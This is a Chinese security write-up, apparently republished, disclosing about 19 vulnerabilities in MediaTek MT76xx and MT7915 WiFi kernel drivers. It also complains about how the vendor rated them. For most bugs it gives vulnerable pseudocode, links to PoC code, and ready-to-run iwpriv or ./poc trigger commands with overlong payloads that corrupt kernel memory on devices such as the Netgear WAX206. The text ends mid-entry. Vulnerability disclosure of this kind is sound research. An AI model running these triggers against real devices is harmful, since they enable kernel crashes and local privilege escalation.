文章总结： 文档披露联发科MT76xx及MT7915WiFi驱动中的19个漏洞，涵盖堆栈溢出与信息泄露。作者分析了受影响设备（如NetgearWAX206），提供PoC及利用链细节，并批评了厂商淡化漏洞严重性的行为。这些漏洞可致内核崩溃或本地权限提升，揭示了严重的嵌入式设备安全隐患。 综合评分： 89 文章分类： 漏洞分析,IoT安全,漏洞POC
联发科 MT7622 无线网卡驱动程序的 19 个以上漏洞及 PoC
Ots安全
2025年12月24日 12:02 广东
威胁简报
恶意软件
漏洞攻击
介绍
大家好！好久没发帖了，今年一如既往地忙碌（包括和@SummoningTeam 的兄弟们一起赢得了 Pwn2Own 大赛！）。这篇文章算是对我过去一年在联发科 WiFi 芯片组方面所做工作的回顾。下面讨论的漏洞影响联发科 MT76xx 和 MT7915 WiFi 芯片组系列；其中大部分漏洞是在年初的三个月内发现的，但直到最近几个月才公开。还有一些漏洞实际上是去年发现的，但直到今年才公开。虽然三个月的时间听起来很惊人，但在此之前，我花了两年时间才完成这些工作。不过，俗话说得好：一旦你对目标足够熟悉，漏洞就会自然而然地出现！总的来说，这些漏洞让我对内核漏洞利用有了有趣的初步了解，而且由于测试平台几乎没有任何调试功能，这对漏洞利用的开发来说也是一个有趣的挑战。
除了漏洞之外，我还想分享一个小故事，我觉得对于熟悉与供应商打交道和信息披露的人来说，这个故事或许会很有意思。有趣的是，我原本计划在今年早些时候，也就是我写这篇文章初稿的时候，以“非协调”的方式公开这些问题的细节。但最终理智战胜了冲动，我避免了这种麻烦。不过，我希望下面的故事能让你明白我当初为什么会考虑这样做。
我之所以选择讲述这个故事，是因为我认为公司不应该用他们随意制定的政策来掩盖其糟糕的行为。协调一致的信息披露是一种诚信行为，而那些不诚信行事的供应商理应受到谴责。尤其当他们的行为令人质疑其在评估产品漏洞影响方面的诚信和信誉时，更是如此。我想下面的故事会让你明白我的意思。
我会在以后的文章中深入探讨其中几个漏洞的发现和利用，敬请期待！但现在，我们还是继续吧。
注意：本文中包含的所有代码片段均为伪代码，代表错误是如何表现出来的。
故事梗概：窥探疯狂
为了简洁起见，我故意省略了很多背景信息，原因嘛……就不赘述了。简单来说，联发科有动机否认或降低我报告的漏洞的严重程度。我就说到这儿吧。这是最明显的例子，但绝非联发科在整个过程中唯一一次行为可疑。
在这些漏洞披露过程中（历时近6个月），曾有人提出，执行iwpriv set特定报告所需的命令需要root权限。我澄清了所需的权限是CAP_NET_ADMIN，但除此之外没有就此争论，最终双方达成一致，认为通过界面触发的部分已报告问题确实需要某些权限iwpriv set。他们将其中一个问题的影响等级从“高”降低到了“中”。
几天后，他们把几乎所有剩余问题的影响级别从“高”降到了“中”，却没有给出任何理由。当我询问那些不受我们之前讨论过的权限要求影响的漏洞时，他们的回复是让我描述一下我是如何添加一个非特权用户的，以及在他们降低严重性的某个报告中（忽略了我询问的其他所有问题） ，添加非特权用户是否需要root权限。考虑到上下文，我几乎无法理解这个问题到底是什么意思。因为我在报告中使用了一个非特权用户来执行PoC，所以他们问我添加这个用户是否需要权限（言下之意是他们认为攻击者需要这样做？）。所以我解释说，我在复现步骤中添加添加非特权用户的步骤是为了方便他们的工程师理解，也是为了证明利用这个漏洞不需要任何权限，并且在漏洞利用场景中，攻击者就是那个非特权用户。
然后他们给了我一个重磅消息：他们声称，实际上，他们的“默认设计”没有考虑非特权用户的存在，所有用户都被视为特权用户，因此始终需要权限，CVSS 评级降至中等。
适用于 Linux 内核驱动程序……作为 SDK 的一部分提供给 OEM 厂商……适用于嵌入式和桌面/消费类设备支持的芯片组……
- 我先让你琢磨琢磨。你越想越觉得这说不通。
他们原话是（在当时的讨论语境下几乎无法辨认）：
在我们的默认设计中，我们不考虑多用户场景。默认情况下，系统只有一个特权用户，这使得恶意攻击者更难实施攻击。这与可以直接从 Google Play 商店下载的 Android 操作系统应用不同。
没错。一家市值数十亿美元、生产数百万台设备所用芯片组的公司，竟然说这就是他们对产品安全性的理解。如果他们真这么认为，那简直是完全不合格。
根据他们对“默认设计”的定义，这些驱动程序不可能进行本地权限提升。然而，多年来他们一直在发布针对这些芯片组的 CVE 和安全公告，其中明确提到了所需的权限不足以及本地权限提升的影响。比如，他们甚至针对我今年报告的漏洞发布了 CVE ，措辞完全一样。
这事儿简直匪夷所思。你们都听到了吗？有意思的是，如果你看看他们最新的公告，就会发现他们不再提供任何关于影响的信息了。在我指出他们所谓的“默认设计”和他们对过去漏洞的分类存在矛盾之后，他们就开始这么做了。这让我觉得他们以后想用这套说辞来糊弄其他研究人员，他们这是在给自己留后路。
为了进一步强调这一点（虽然我认为现在没有必要这样做）：CAP_NET_ADMIN如果他们的“默认设计”中根本没有特权分离的概念，那么在故事开头提到的特权要求问题又有什么意义呢？
答案是他们在撒谎。他们试图骗我，也试图骗他们的客户和合作伙伴。他们应该感到羞耻。你难道不会觉得在公共场合说这种话很丢脸吗？坦白说，这简直是侮辱。只有对这方面一窍不通的人才会被这些说辞蒙蔽。另一种可能是，他们真的相信自己说的话，但这似乎也好不到哪里去。
但这不禁让人产生疑问：他们为何愿意做出如此明目张胆的欺骗行为？我有一些想法，但还是留给各位读者自行想象吧。我只想说一点：公司能做到什么程度，取决于它们被允许和受到的激励。
总之，在我决定不采取“各自为政”的披露方式之后，我想提醒那些和我打交道的人，在CVE报告公开之后，以及所有证明他们评估有误的证据都公布之后，我没有义务不公开讨论他们的行为（就像我现在这样）。你猜怎么着……事后诸葛亮式的清醒让他们放弃了（大部分）那些胡说八道的论点。
这事儿办起来真有意思，不是吗？
总之：管他呢，咱们玩得开心！接下来看看BUG吧。这些BUG或许也能让你开怀大笑！
这些BUG
CVE-2025-70631：SETPSK Ioctl 处理程序中的堆溢出漏洞
- 受影响版本：MT7622 v5.0.5.4、v5.1.0.0；MT7629 驱动程序 v6.0.3.0
- 受影响设备：Netgear WAX206（已确认）、Starlink Wifi Gen2
- 要求：WSC_AP_SUPPORT
负责处理 OID 的处理程序代码RT_OID_SET_PSK位于函数中RTMPAPSetInformation()。该漏洞的根本原因是攻击者iwreq.u.data.length从用户空间传递的控制值未进行正确的边界检查。程序会对该值进行初始检查，以确保其不超过 65 字节的最大值，但如果驱动程序使用了相关WSC_AP_SUPPORT功能，则此检查失败不会立即触发错误。在这种情况下，程序会检查无线接口设备结构中的一个字段pWscControl；如果该字段不为 NULL，则操作继续进行，最终将copy_from_user()攻击者控制的长度值传递给该pWscControl->WpaPsk字段。溢出就发生在这里。
if (wrq->u.data.length < 65) {
...
} else {
...
if (pWscControl) {
// VULNERABLE copy_from_user()
res = copy_from_user(wsc_ctrl->psk, wrq->u.data.pointer, wrq->u.data.length);
...
}
}
概念验证
PoC来源：PoC链接-https://github.com/mellow-hype/mediarekt-2025/blob/main/cve-2025-20631.c
在易受攻击的系统上执行 PoC，以破坏内核内存。
root@WAX206:/tmp# ./poc-ioctl
[ 312.422633] Unable to handle kernel paging request at virtual address 41414141414145
[ 312.430424] pgd = ffffffc016fb6000
[ 312.433854] [41414141414145] *pgd=0000000000000000[ 312.434057] [PMF]APPMFInit:: Security is not WPA2/WPA2PSK AES
[ 312.434060] [PMF]APPMFInit:: apidx=0, MFPC=0, MFPR=0, SHA256=0
[ 312.434126] wifi_sys_linkdown(), wdev idx = 0
...
CVE-2025-70632：R0KHID Ioctl 处理程序中的堆溢出漏洞
- 受影响版本：MT7622 v5.0.5.4、v5.1.0.0；MT7629 驱动程序 v6.0.3.0
- 受影响设备：Netgear WAX206（已确认）、Starlink Wifi Gen2
负责处理RT_OID_802_11R_R0KHIDOID 的处理程序代码位于函数中RTMPAPSetInformation()。该漏洞的根本原因是攻击者iwreq.u.data.length从用户空间传递的值的边界检查不当；FtR0khId代码没有检查该值是否超过目标字段的大小并在超过时提前退出，而是反其道而行之，检查传入的大小是否不小于或等于目标字段的大小，这实际上强制发生了溢出。溢出发生在调用copy_from_user()并写入时。这很可能是由于拼写错误（使用了，而本应是）wdev.FtCfg.FtR0khId[48]造成的。<=>=
...
if (wrq->u.data.length <= FT_ROKH_ID_LEN)
// error case
else {
status = copy_from_user(obj->ap.bssid[apidx].wdev.cfg.r0khid, wrq->u.data.pointer, wrq->u.data.length);
...
}
概念验证
PoC来源：PoC链接-https://github.com/mellow-hype/mediarekt-2025/blob/main/cve-2025-20632.c
所包含的 PoC 演示了通过将此漏洞与子命令处理程序中的信息泄漏链接起来，利用任意地址破坏指令指针的能力iwpriv mac。
CVE-2025-20713：Set_BeaconReq_Proc 解析通道报告列表时存在堆栈溢出漏洞
- 受影响版本：MT7622 v5.0.5.4
- 受影响设备：Netgear WAX206（已确认）
Set_BeaconReq_Proc()驱动程序中的函数在处理通过触发处理程序的mt7622_mt_wifi调用传入的数据时，存在栈缓冲区溢出漏洞。具体来说，问题存在于处理传入命令字符串中“通道报告列表”命令参数字段解析的代码块中。该问题是由于一个无限循环导致的，该循环使用计数器根据参数字段中是否存在特定字符来索引并写入栈分配的缓冲区。写入此缓冲区的值是使用攻击者控制的输入解析的 1 字节数值。ioctl()while#strtol()
case8:
...
// @hypr: VULNERABLE
while ((chan_id_str = strsep((char **)&input_str, "#")) != NULL) {
chan_rep_list[chan_id] = strtol(chan_id_str, 0, 10);
chan_id++;
}
...
概念验证
在已安装内核驱动程序的系统上，运行以下命令，通过键值子命令iwpriv对易受攻击的代码路径发出 IOCTL 。setBcnReq
# write in 65 (0x41), so we end up with 0x414141414141
export PAYLOAD=$(python3 -c"print('#65'*400)")
iwpriv ra0 set"BcnReq=1!50!12!FF:FF:FF:FF:FF:FF!HYPR!255!1!32+1!1#5!1!1$PAYLOAD"
CVE-2025-20714：Set_BeaconReq_Proc 解析调控类参数时发生堆栈溢出
联发科为这个漏洞分配了一个 CVE 编号，但仍然声称该漏洞是重复的，因为溢出事件发生在与该函数中另外两个问题（CVE-2025-20715 和 CVE-2025-20713）相同的函数中。仅此而已——这就是他们用来辩称该漏洞重复的唯一理由。
- 受影响版本：MT7622 v5.0.5.4
- 受影响设备：Netgear WAX206（已确认）
Set_BeaconReq_Proc()驱动程序中的函数mt7622_mt_wifi在处理通过触发处理程序的调用传入的数据时，存在栈缓冲区溢出漏洞ioctl()。具体来说，问题存在于处理传入命令字符串中“监管类”命令参数字段（参数索引 7）解析的代码块中。该问题是由于一个无界while循环导致的，该循环使用计数器根据参数字段中是否存在特定字符来索引并写入RRM_MLME_BCN_REQ_INFO req_struct.reg_class[16]（栈分配的）缓冲区。写入此缓冲区的值是使用攻击者控制的输入+解析的 1 字节数值。os_str_tol()
case7: { /* regulatory class. */
while ((reg_str = strsep((char **)&thisChar, "+")) != NULL) {
req_struct.reg_class[reg_class_index] = strtol(reg_str, 0, 10);
reg_class_index++;
}
}
概念验证
在已安装内核驱动程序的系统上，运行以下命令创建有效载荷缓冲区，并通过iwpriv set子命令为BcnReq密钥值发出易受攻击代码路径的 IOCTL。
# write in 65 (0x41), so we end up with 0x414141414141
export PAYLOAD=$(python3 -c"print('+65'*400)")
iwpriv ra0 set"BcnReq=1!50!12!FF:FF:FF:FF:FF:FF!HYPR!255!1!32$PAYLOAD"
CVE-2025-20715：Set_BeaconReq_Proc 函数解析请求 IE 参数时存在堆栈溢出漏洞
- 受影响版本：MT7622 v5.0.5.4
- 受影响设备：Netgear WAX206（已确认），其他设备未确认
Set_BeaconReq_Proc()驱动程序中的函数在处理通过触发处理程序的mt7622_mt_wifi调用传入的数据时，存在栈缓冲区溢出漏洞。具体来说，问题存在于处理传入命令字符串中“request_ie”命令参数字段（参数索引 10）解析的代码块中。该问题是由于一个无界循环导致的，该循环使用计数器根据参数字段中是否存在特定字符来索引并写入缓冲区。写入此缓冲区的值是使用攻击者控制的输入解析的 1 字节数值。ioctl()whilerequest_ie[13]#strtol()
case10: {
// @hypr: VULNERABLE
while ((req_str = strsep((char **)&input_str, "#")) != NULL) {
request_ie[request_ie_num] = strtol(req_str, 0, 10);
request_ie_num++;
}
}
概念验证
在已安装内核驱动程序的系统上，运行以下命令以创建有效载荷缓冲区，并通过键值子命令运行iwpriv以对易受攻击的代码路径发出 IOCTL 。setBcnReq
# write in 65 (0x41), so we end up with 0x414141414141
export PAYLOAD=$(python3 -c"print('#65'*400)")
iwpriv ra0 set"BcnReq=1!50!12!FF:FF:FF:FF:FF:FF!HYPR!255!1!32+1!1#5!1!1$PAYLOAD"
CVE-2025-20717：Set_Igmp_Flooding_CIDR_Proc 中的堆栈溢出漏洞
- 受影响版本：MT7622 v5.0.5.4
- 受影响设备：Netgear WAX206（已确认）
- 要求：IGMP_SNOOP_SUPPORT标志
该漏洞是由于在将用户控制的数据复制到固定大小的缓冲区时缺乏边界检查而导致的。具体来说，当使用Set\_Igmp\_Flooding\_CIDR\_Proc()copy() 函数将包含命令中argvalue 参数的字符串复制到本地缓冲区时，就会发生这种情况。复制操作直接使用 value 中字符串的长度作为其大小参数，而没有检查字符串长度是否超过缓冲区的大小。任何长度大于 25 的参数都会导致栈缓冲区溢出。IgmpFloodingCIDRiwprivIPString[25]NdisMoveMemory()argip_addr_str[]
char ip_addr_str[25] = {'\0'};
char *addr_str_ptr = NULL;
...
do {
...
addr_str_ptr = ip_addr_str;
// @hypr: VULNERABLE
NdisMoveMemory(addr_str_ptr, arg, strlen(arg));
addr_str_ptr[strlen(arg)] = '\0';
...
概念验证
在已安装内核驱动程序的系统上，运行以下命令以创建有效载荷缓冲区，并通过键值子命令运行iwpriv以对易受攻击的代码路径发出 IOCTL 。set gmpFloodingCIDR
export PAYLOAD=$(python3 -c"print('A'*2000)")
iwpriv <interface>set IgmpFloodingCIDR=0-$PAYLOAD
CVE-2025-20718：RTMPAPIoctlE2PROM 中的堆栈溢出
- 受影响版本：MT7622 v5.0.5.4
- 受影响设备：Netgear WAX206（已确认）
RTMPAPIoctlE2PROM()驱动程序中的函数在处理通过触发处理程序的mt7622_mt_wifi调用传入的数据时，存在栈缓冲区溢出漏洞。具体来说，问题出在处理请求中包含的命令字符串值（指示写入操作）中字符后跟值解析的代码中。当使用传入字符串值的长度作为大小参数执行写入操作时，如果未检查其是否超过目标缓冲区的大小，则会出现此问题。在本例中，目标缓冲区是一个 16 字节的字符缓冲区。ioctl()=NdisMoveMemory()dest[]
value = strchr(this, '=');
if (value != NULL)
*value++ = 0;
if (!value || !*value) {
...
} else {
// @hypr: VULNERABLE (you've gotta be fucking kidding lmao)
NdisMoveMemory(&dest, value, strlen(value));
dest[strlen(value)] = '\0';
...
}
概念验证
在已安装内核驱动程序的系统上，运行以下iwpriv命令，通过子命令发出易受攻击代码路径的 IOCTL e2p。
iwpriv <interface> e2prrr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CVE-2025-20731：OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT 处理程序中的堆溢出漏洞
这个漏洞被错误地（在我看来甚至是误导性的）标记为中等严重程度，但事实证明并非如此。我提交的证据（展示了一个非特权用户如何利用该漏洞）被故意误解为攻击者必须先创建一个非特权用户才能利用该漏洞，而创建用户需要权限，因此利用该漏洞需要权限……？？？？我多次纠正他们，但他们始终无法理解攻击者并不需要创建非特权用户。真是匪夷所思。
- 受影响版本：MT7622 驱动程序 v5.0.5.4、v5.1.0.0，MT7629 v6.0.3.0，MT7915 v7.4.0.0
- 受影响设备：Netgear WAX206（已确认）
- 要求：OCE_SUPPORT标志
该漏洞出现在RTMPAPSetInformation()处理 OID 子命令的情况时OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT (0x969)。
nr_list_info->ValueLen问题在于，在调用 write 函数时使用了攻击者控制的值，NdisMoveMemory()而没有进行上限检查以确保写入操作的大小不会超出目标缓冲区。在本例中，目标缓冲区即为 pMBSS->nr\_list\_info.Value[512]buffer。buffernr_list_info->ValueLen通过 read 从用户空间读取数据进行初始化，copy_from_user()并且是一个 int 类型的缓冲区uint32，这意味着可以提供最大为MAX_UINT321000 字节的长度值0xffffffff。由于该缓冲区是在堆上分配的更大结构体内部分配的，这将导致堆内存损坏。
case OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT: {
if (is_oce_rnr(wdev)) {
...
status = copy_from_user(&nr_list_info, wrq->u.data.pointer, wrq->u.data.length);
station_obj = &obj->cfg.mbssid[ap_idx];
// @hypr: VULNERABLE - overflow from nr_list_info.ValueLen, copied in from userspace
NdisMoveMemory(station_obj->nr_list_info.Value,
nr_list_info.Value, nr_list_info.ValueLen);
station_obj->nr_list_info.ValueLen = nr_list_info.ValueLen;
...
}
}
易受攻击的系统必须将OceReducedNeighborReport驱动程序配置标志设置为 1。
概念验证
PoC来源：PoC链接-https://github.com/mellow-hype/mediarekt-2025/blob/main/cve-2025-20731.c
在运行存在漏洞驱动程序的目标系统上执行 PoC，以触发内核崩溃：
# trigger the vulnerability
./ioctl-ocernr-heap rai0 8000
CVE-2025-20732：OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT 处理程序中的堆栈溢出
这个漏洞被错误地（在我看来甚至是误导性的）标记为中等严重程度，但事实证明并非如此。我提交的证据（展示了一个非特权用户利用该漏洞的过程）被故意误解为攻击者必须先创建一个非特权用户才能利用该漏洞，而创建用户需要权限，因此利用该漏洞需要权限……？？？？我多次解释，但他们“无法”理解攻击者并不需要创建非特权用户。
- 受影响版本：MT7622 驱动程序 v5.0.5.4、v5.1.0.0，MT7629 v6.0.3.0，MT7915 v7.4.0.0
- 受影响设备：Netgear WAX206（已确认）
- 要求：OCE_SUPPORT标志
该漏洞出现在RTMPAPSetInformation()处理 OID 子命令的函数中。问题在于，在调用函数时OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT (0x969)使用了攻击者控制的值，而没有进行上限检查以确保数据大小不会超出目标缓冲区。在本例中，目标缓冲区是一个大小为 (512 + 4 + 4) = 520 字节的结构体。因此，大于 520 字节的大小值会导致内核堆栈损坏。wrq->u.data.length copy_from_user() nr_list_info
case OID_802_11_OCE_REDUCED_NEIGHBOR_REPORT: {
if (is_oce_rnr(dev)) {
...
// @hypr: VULNERABLE - overflow nr_list_info structure
status = copy_from_user(&nr_list_info, wrq->u.data.pointer, wrq->u.data.length);
station_obj = &obj->cfg.mbssid[ap_idx];
...
}
}
易受攻击的系统必须将OceReducedNeighborReport驱动程序配置标志设置为 1。
概念验证
PoC来源：PoC链接-https://github.com/mellow-hype/mediarekt-2025/blob/main/cve-2025-20732.c
在运行存在漏洞驱动程序的目标系统上执行 PoC，以触发内核崩溃：
# trigger the vulnerability
./ioctl-ocernr-overflow rai0 2000
CVE-2025-20733：RT_OID_WSC_SET_CON_WPS_STOP 处理程序中的堆溢出漏洞
- 受影响版本：MT7622 v5.1.0.0、MT7629 v6.0.3.0、MT7981 驱动程序 v7.6.7.2
- 受影响设备：Netgear WAX206（已确认）、SpaceX Starlink Wifi Gen2
RTMPAPSetInformation()该漏洞出现在处理 OID 的函数中RT_OID_WSC_SET_CON_WPS_STOP (0x764)。在处理此 OID 的 switch-case 语句体中，会分配一个内存sizeof(WSC_UPNP_CTRL_WSC_BAND_STOP)并将其保存到指针中upnp_data_struct。假设分配成功，则会进入一个代码块，其中copy_from_user()调用函数将数据从用户空间复制到分配给指针的内存中upnp_data_struct，并将wrq->u.data.length大小参数设置为 。
wrq->u.data.length在调用 之前，不会对攻击者控制的值 执行上限检查，如果攻击者提供的值大于（计算结果为 12 字节），copy_from_user()则会导致堆缓冲区溢出。length sizeof(WSC_UPNP_CTRL_WSC_BAND_STOP)
case RT_OID_WSC_SET_CON_WPS_STOP: {
alloc_mem(NULL, &upnp_data_struct, sizeof(WSC_UPNP_CTRL_WSC_BAND_STOP));
if (upnp_data_struct) {
// @hypr: VULNERABLE
ret = copy_from_user(upnp_data_struct, wrq->u.data.pointer, wrq->u.data.length);
}
}
}
概念验证
PoC来源：PoC链接-https://github.com/mellow-hype/mediarekt-2025/blob/main/cve-2025-20733.c
使用较大的 bufsize 参数执行 PoC：
./poc ra0 2048
CVE-2025-20734：Set_SecWPAPSK_Proc 中的堆溢出
- 受影响版本：MT7622 v5.1.0.0、MT7629 v6.0.3.0、MT7981 驱动程序 v7.6.7.2
- 受影响设备：Netgear WAX206（已确认）、SpaceX Starlink Wifi Gen2
- 要求：CONFIG_AP_SUPPORT必须WSC_AP_SUPPORT在构建配置中启用。
该漏洞存在于处理攻击者控制的参数字符串的函数中Set_WPAPSK_Proc()。该函数首先检查参数字符串的长度是否小于 65 个字符。如果小于 65 个字符，则进入设置密钥数据的代码块。但是，如果长度超过 65 个字符，该函数不会将其视为错误，而是继续执行。
如果WSC_STA_SUPPORT构建标志已启用，则存在漏洞的代码块会包含在函数中，并在上述检查之后执行。在此代码块中：
- 攻击者控制的参数字符串的长度是使用以下方法计算的：strlen()
- 长度值用作调用NdisMoveMemory()写入函数时的长度参数。dev->ctrl.WpaPsk
在执行复制操作之前，不会对参数字符串的长度进行边界检查。由于缓冲区ctrl->WpaPsk大小固定为 64 字节，任何长度超过 64 字节的参数字符串都会导致缓冲区溢出。此外，由于NdisMoveMemory()复制操作使用缓冲区，因此对有效载荷数据没有任何限制，攻击者可以在溢出的数据中包含空字节或其他任意数据。
intSet_WPAPSK_Proc(adapter_obj *obj, char *arg)
{
...
#ifdef WSC_STA_SUPPORT
// @hypr: VULNERABLE
NdisMoveMemory(dev->ctrl.WpaPsk, arg, strlen(arg));
#endif
}
概念验证
在运行存在漏洞的驱动程序的系统上执行以下命令以触发该漏洞。
iwpriv ra0 set WPAPSK=$(python3 -c "print('A'*8000)")
# forceuseof corrupted pointers
iwpriv ra0 set WscConfStatus=2
CVE-2025-20735：mtk_send_offchannel_action_frame 中的堆溢出
- 受影响版本：MT7622 v5.1.0.0
- 要求：驱动程序必须使用DPP_SUPPORT配置选项构建（这还应该启用该CHANNEL_SWITCH_MONITOR_CONFIG标志）。
该漏洞存在于函数中。该函数使用宏分配一个大小为 2304 字节的mtk_send_offchannel_action_frame()固定大小堆缓冲区。然而，该函数随后调用函数将攻击者控制的数据复制到此缓冲区，但并未验证数据的大小。待复制数据的大小由字段决定，该字段通过 IOCTL 处理程序从用户空间传递过来。如果攻击者指定的值大于 2304 字节，则操作将超出已分配缓冲区的范围，从而导致堆缓冲区溢出。OutBuffer MlmeAlloc() MakeOutgoingFrame() frm->frm_len memmove() MakeOutgoingFrame()
{
...
// Allocate a fixed-size buffer of 2304 bytes
status = MlmeAlloc(pAd, &pOutBuffer);
...
// Vulnerable: No bounds checking on frm->frm_len
MakeOutgoingFrame(OutBuffer, &FrameLen,
sizeof(HEADER_802_11), &Hdr,
frm->frm_len, frm->frm,
0);
}
概念验证
PoC来源：PoC链接-https://github.com/mellow-hype/mediarekt-2025/blob/main/cve-2025-20735.c
按如下方式编译并执行 PoC：
./poc ra0 5000
CVE-2025-20736：Set_IgmpSn_AddEntry_Proc 和 Set_IgmpSn_DelEntry_Proc 中的堆栈溢出漏洞
这又是一个很有意思的例子。这两个添加/删除函数都存在几乎相同的漏洞，会导致缓冲区溢出。联发科认为其中一个是重复的，因为（我可没开玩笑），这两个漏洞都出现在同一个文件中。
- 受影响版本：MT7622 v5.1.0.0
- 要求：VENDOR_FEATURE6_SUPPORT已启用
设置 IgmpSn_DelEntry_Proc
Set_IgmpSn_DelEntry_Proc()该漏洞存在于处理从用户空间传入的参数字符串解析 IP 地址值的函数中。在该代码块中，for使用循环并调用rstrtok()函数，以.字符“.”作为分隔符来解析 IP 地址字符串的各个字节。在该循环中，未对迭代器变量进行边界检查，以确保其在使用该变量索引缓冲区并写入参数标记解析出的数值之前i不会超出缓冲区大小。这会导致越界写入 (OOB) 情况，如果找到包含超过 4 个“.”字符的字符串，则可利用此漏洞破坏内核堆栈。ip_addr[4] i ip_addr[] strtol()
while ((c = strsep((char **)&input, "-")) != NULL) {
} else {
for (i = 0, value = rstrtok(c, "."); value; value = rstrtok(NULL, ".")) {
...
// unbounded for loop with rstrtok will keep reading as long as '.' are found
ip_addr[i] = (char)strtol(value, NULL, 10);
i++;
}
...
}
可以使用以下有效载荷触发该漏洞，该有效载荷会发送一个过长的序列，该序列格式化为到达漏洞。
# trigger the bug by sending overlong '65.' sequence
iwpriv ra0 set IgmpDel=$(python3 -c'print("65."*200)')
设置 IgmpSn_AddEntry_Proc
该漏洞存在于处理从用户空间传入的参数字符串中解析 IP 地址值的函数中Set_IgmpSn_AddEntry_Proc()。此函数的易受攻击逻辑与上面所示的逻辑相同Set_IgmpSn_DelEntry_Proc()。
可以使用以下有效载荷触发该漏洞，该有效载荷会发送一个过长的序列，该序列格式化为到达漏洞。
# trigger the bug in the Add handler
iwpriv ra0 set IgmpAdd=$(python3 -c "print('65.'*400)"
CVE-2025-20737：OID_802_11_PASSPHRASES 处理程序中的堆栈溢出和信息泄露漏洞
- 受影响版本：MT7622 v5.1.0.0
该漏洞存在于 (0x0536) 的处理程序中OID_802_11_PASSPHRASES。代码创建了一个固定大小的栈结构NDIS80211PSK psk，然后使用copy_from_user()该结构将数据从用户空间复制到该结构中，但未验证传入数据的大小是否与结构大小匹配。该结构的大小为 68 字节，这意味着任何大于 68 字节的长度值都会导致内核栈损坏。此外，代码还会使用结构成员中的值WPAKeyLen从缓冲区打印相应字节数的内容，WPAKey[]而没有进行任何边界检查，从而导致内核消息缓冲区 (dmesg) 中内核内存泄露给用户空间。
case OID_802_11_PASSPHRASES: {
...
// stack allocated struct
NDIS80211PSK psk;
...
// VULNERABLE - copies user-provided data of arbitrary length into fixed stack buffer
ret = copy_from_user(&psk, wrq->u.data.pointer, wrq->u.data.length);
...
// VULNERABLE - uses user-provided length value to dump the contents of the WPAKey buffer, resulting in information leak if a size
// larger than the WPAKey buffer is provided.
for (i = 0 ; i < psk.WPAKeyLen ; i++)
debug_log(("%c", psk.WPAKey[i]));
}
概念验证
PoC链接-https://github.com/mellow-hype/mediarekt-2025/blob/main/cve-2025-20737.c
请使用以下参数执行下面的概念验证：
./poc ra0 0x8536 1600
CVE-2025-20738：Set_ApScan_Proc 函数中的堆栈溢出漏洞
- 受影响版本：MT7622 v5.1.0.0、MT7629 v6.0.3.0
该Set_ApScan_Proc()函数包含一个while循环，循环从输入参数字符串中读取字符，并将它们写入一个固定大小的栈缓冲区dest[33]。循环会一直执行，直到在输入字符串中遇到空字节（NULL）。问题在于，没有检查用于i访问dest数组的索引是否在有效范围内（0-32）。如果输入字符串长度超过 33 个字节，且前 33 个字符中不包含冒号（’ :）或空字节（NULL），则循环会将数据写入超出dest[]数组边界的位置，从而导致栈缓冲区溢出。
{
...
char dest[33];
while (arg[j] != '\0') {
// VULNERABLE - unbounded write to temp[i]
dest[i] = arg[j];
j++;
if (dest[i] == ':'|| arg[j] == '\0') {
//break
}
i++;
}
概念验证
在运行存在漏洞的驱动程序的系统上执行以下命令以触发该漏洞。
iwpriv ra0 set ApScanChannel=$(python3 -c"print('A'*1000)")
CVE-2025-20739：Set_IgmpSn_BlackList_Proc 中的堆栈溢出
- 受影响版本：MT7622 v5.1.0.0
要求：
- 配置：已启用 IGMP 侦听，已启用 IGMP TV 模式
- 必需功能/构建标志：IGMP_TVM_SUPPORT，，IGMP_SNOOP_SUPPORTCONFIG_VENDOR_FEATURE10_SUPPORT
该漏洞出现在使用 copy( ) 函数Set_IgmpSn_BlackList_Proc()将参数字符串复制arg到固定大小的字符缓冲区时。复制操作的大小参数是通过测量源缓冲区中字符串的长度来计算的，而没有进行任何上限检查以确保参数字符串的长度不超过目标缓冲区的大小。如果参数字符串的长度超过 100 个字符，则会导致缓冲区溢出。IPString[100] NdisMoveMemory() arg IPString[]
char ip_str[100] = {'\0'};
char *p_ip_str = NULL;
...
do {
...
p_ip_str = ip_str;
// @hypr: VULNERABLE
NdisMoveMemory(p_ip_str, arg, strlen(arg));
概念验证
在运行存在漏洞的驱动程序的系统上执行以下命令以触发该漏洞。
iwpriv ra0 set IgmpSnExemptIP=$(python3 -c"print('A'*200)")
CVE-2025-20741：vie_oper_proc 中的堆溢出漏洞
- 受影响版本：MT7622 v5.1.0.0
- 受影响设备：Netgear WAX206（已确认）
vie_oper_proc()驱动程序中的函数在处理通过处理程序和接口mt7622_mt_wifi传入的命令字符串时，存在堆缓冲区溢出漏洞。溢出的原因是，对传入字符串的字符串标记进行解析时缺乏长度限制。解析后的值会被写入堆分配的缓冲区，如果标记的长度超过分配缓冲区的大小，则会导致堆缓冲区溢出。在这种情况下，分配缓冲区的大小是通过表达式计算的，该表达式错误地计算了算术表达式结果的大小，而不是使用表达式本身的结果（这似乎是预期的结果）。实际上，分配的内存始终为4 字节。ioctl() iwprivsscanf() sizeof((MAX_VENDOR_IE_LEN + 1) * 2) sizeof(unsigned int)
if (arg) {
// @hypr: VULNERABLE on last `%s` field into `ctnt`
input_argument = sscanf(arg,
"%d-frm_map:%x-oui:%6s-length:%d-ctnt:%s",
&op, &frm_map, oui, &length, ctnt);
...
}
概念验证
在已安装内核驱动程序的系统上，运行以下命令，通过密钥命令iwpriv向易受攻击的代码路径发出 IOCTL 。setvie_op
iwpriv ra0 set vie_op=1-frm_map:1-oui:00bbaa-length:1194-ctnt:$(python3 -c"print('A'*600)")
CVE-2025-20748：通过 SetRxvRecordEn 中的带外写入执行内核代码漏洞
- 受影响版本：MT7622 v5.1.0.0
- 受影响设备：Netgear WAX206（已确认）
SetRxvRecordEn()该漏洞存在于处理子命令的函数中iwpriv set RxvRecordEn。在该函数中，攻击者控制的参数字符串使用不安全的字符串函数进行解析，sscanf()而没有对参数字符串的长度进行长度限制或上限检查。这会导致obj->RxvFilePath[256]底层网络接口设备对象中的缓冲区溢出。由于写入大小没有上限，因此几乎整个对象甚至更大范围的数据都可能被破坏struct wdev。
// @hypr: VULNERABLE
rv = sscanf(arg, "%d-%d-%d-%d-%d-%d-%d-%d-%s",
